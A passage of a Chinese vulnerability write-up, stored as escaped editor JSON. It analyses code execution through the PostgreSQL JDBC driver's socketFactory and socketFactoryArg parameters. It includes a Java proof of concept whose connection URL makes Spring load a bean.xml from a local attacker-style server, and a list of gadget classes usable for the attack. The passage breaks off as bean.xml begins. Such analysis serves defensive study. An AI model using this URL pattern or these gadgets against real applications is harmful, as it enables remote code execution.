;:&#34;block&#34;,&#34;id&#34;:&#34;B2YQ-1669789512509&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;S36y-1669789512507&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;gaOq-1669789531218&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://jdbc.postgresql.org/documentation/use/&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;soDy-1669789531217&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://jdbc.postgresql.org/documentation/use/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ADFu-1669789531220&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1cjb-1669788869726&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YScv-1669788869727&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;socketFactory/socketFactoryArg 代码执行&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;w1oP-1669789447551&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fFHg-1669789447527&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xKFA-1669789447526&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class test {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xQke-1669789447529&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f4cc-1669789447528&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static void main(String[] args) throws SQLException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bokm-1669789447531&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0BpS-1669789447530&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String socketFactoryClass = \&#34;org.springframework.context.support.ClassPathXmlApplicationContext\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bnw2-1669789447532&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1UKZ-1669789447509&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String socketFactoryArg = \&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;58SM-1669789447511&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;http://127.0.0.1:4444/bean.xml&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lYjN-1669789447510&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;http://127.0.0.1:4444/bean.xml&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BGFE-1669789447517&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vi1D-1669789447535&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FxAV-1669789447533&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String jdbcUrl = \&#34;jdbc:postgresql://localhost:5432/postgres?socketFactory=\&#34;+socketFactoryClass+ \&#34;&amp;socketFactoryArg=\&#34;+socketFactoryArg;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RVCI-1669789447537&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FsZ6-1669789447536&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        String testURL = \&#34;jdbc:postgresql://localhost:5432/postgres?socketFactory=\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;43Be-1669789447539&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BnY5-1669789447538&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        System.out.println(\&#34;PostgreSQL Driver Version: \&#34; + org.postgresql.Driver.class.getPackage().getImplementationVersion());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DiO8-1669789447541&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0R4z-1669789447540&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Connection connection = DriverManager.getConnection(jdbcUrl);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SXPC-1669789447543&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iFn6-1669789447542&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        Connection test_connection = DriverManager.getConnection(testURL,\&#34;postgres\&#34;,\&#34;password\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rrPT-1669789447545&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vy0t-1669789447544&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XUE4-1669789447550&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Bg73-1669789447548&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;H3eq-1669789788908&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4338/WEBRESOURCE5b95d26dea6e4b758a4ddbcc6af4b166&#34;,&#34;width&#34;:630,&#34;height&#34;:462},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4338/WEBRESOURCE5b95d26dea6e4b758a4ddbcc6af4b166&#34;,&#34;initialSize&#34;:{&#34;width&#34;:630,&#34;height&#34;:1238},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ImKJ-1669788597512&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6UUr-1669788597509&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;将参数置空找到其Exception抛出的位置：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:15},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9y1e-1669790145088&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4339/WEBRESOURCE69a1f0569d0f4ab4b1a55f4b2f924e06&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4339/WEBRESOURCE69a1f0569d0f4ab4b1a55f4b2f924e06&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HWd4-1669790145092&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5gJQ-1669790145091&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;很明显&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:15},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]},{&#34;text&#34;:&#34;SocketFactoryFactory通过getSocketFactory方法尝试加载Properties中的socketFactoryClassName，将断点打到下一步的实例化方法处填入URL重新调试：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:15}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oLDm-1669790577451&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4340/WEBRESOURCE7a316235a6b546e0a0a68d490a462f0e&#34;,&#34;width&#34;:1838,&#34;height&#34;:1144},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4340/WEBRESOURCE7a316235a6b546e0a0a68d490a462f0e&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1838,&#34;height&#34;:1144},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3STg-1669787652637&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;okpI-1669787652636&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;调用栈如下：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GkIB-1669790516191&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4341/WEBRESOURCE69b3c76f554a462c8ce9edbbd27b5c9d&#34;,&#34;width&#34;:619,&#34;height&#34;:226},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4341/WEBRESOURCE69b3c76f554a462c8ce9edbbd27b5c9d&#34;,&#34;initialSize&#34;:{&#34;width&#34;:619,&#34;height&#34;:456},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eOrG-1669790397030&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;edbk-1669790397029&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;跟进instantiate方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YnHk-1669790620377&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4Pau-1669790620325&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TzHG-1669790620324&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public static Object instantiate(String classname, Properties info, boolean tryString, String stringarg) throws ClassNotFoundException, SecurityException, NoSuchMethodException, IllegalArgumentException, InstantiationException, IllegalAccessException, InvocationTargetException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;h8iN-1669790620327&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IMjF-1669790620326&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    Object[] args = new Object[]{info};&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bsol-1669790620329&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Yrz9-1669790620328&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    Constructor&lt;?&gt; ctor = null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BkkS-1669790620331&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AMCd-1669790620330&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    Class cls = Class.forName(classname);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eAU0-1669790620333&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mDiu-1669790620332&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3UVe-1669790620335&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GANR-1669790620334&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ckyn-1669790620337&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XqqD-1669790620336&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ctor = cls.getConstructor(Properties.class);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4eBM-1669790620339&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8yZO-1669790620338&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (NoSuchMethodException var9) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5TxJ-1669790620341&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gZKZ-1669790620340&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cBHA-1669790620344&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nbX3-1669790620343&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UKCF-1669790620346&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ue4G-1669790620345&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (tryString &amp;&amp; ctor == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d6i1-1669790620348&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4vlI-1669790620347&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lPOG-1669790620350&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gBHN-1669790620349&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            ctor = cls.getConstructor(String.class);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;56Df-1669790620352&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oeOx-1669790620351&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            args = new String[]{stringarg};&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wLOF-1669790620354&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ulKO-1669790620353&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (NoSuchMethodException var8) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zRLN-1669790620356&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;prtE-1669790620355&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iEmC-1669790620359&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8T0V-1669790620357&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eayu-1669790620361&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;y4z4-1669790620360&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lY8x-1669790620363&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zdM4-1669790620362&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (ctor == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zo43-1669790620365&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QeEd-1669790620364&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ctor = cls.getConstructor();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Cfj0-1669790620367&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8l0U-1669790620366&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        args = new Object[0];&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WyOT-1669790620369&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XWma-1669790620368&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;i9FC-1669790620371&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NvOW-1669790620370&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Tm5g-1669790620374&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QpGk-1669790620373&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return ctor.newInstance((Object[])args);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1KIy-1669790620376&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MLOD-1669790620375&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;typescript&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;152l-1669790521402&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RXXG-1669790521399&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;可以看到实例化的条件为，该类需存在传入参数类型为Properties或String的构造方法&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6UMw-1669791309097&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VZss-1669791309094&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9WcP-1669791276258&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;org.springframework.context.support.ClassPathXmlApplicationContext&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7FYD-1669791309096&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UP3y-1669791288653&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;org.springframework.context.support.FileSystemXmlApplicationContext&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;i2AQ-1669882427433&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kXox-1669882427432&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;org.apache.commons.jxpath.functions.ConstructorFunction&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8OoI-1669882443076&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GtyB-1669882443075&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;org.apache.commons.jxpath.functions.MethodFunction&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;k0K2-1669882450920&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Hir7-1669882450919&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;java.io.FileOutputStream&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WNrm-1669791455342&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7bPZ-1669791455343&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic环境下可使用&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uQ5s-1669796312917&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PpgH-1669796312916&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Nye1-1669795679182&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bDOi-1669796304844&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AAkd-1669796304842&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;bean.xml:&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WRDu-1669791454000&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TKM2-1669791453971&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8IRe-1669791453932&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;beans 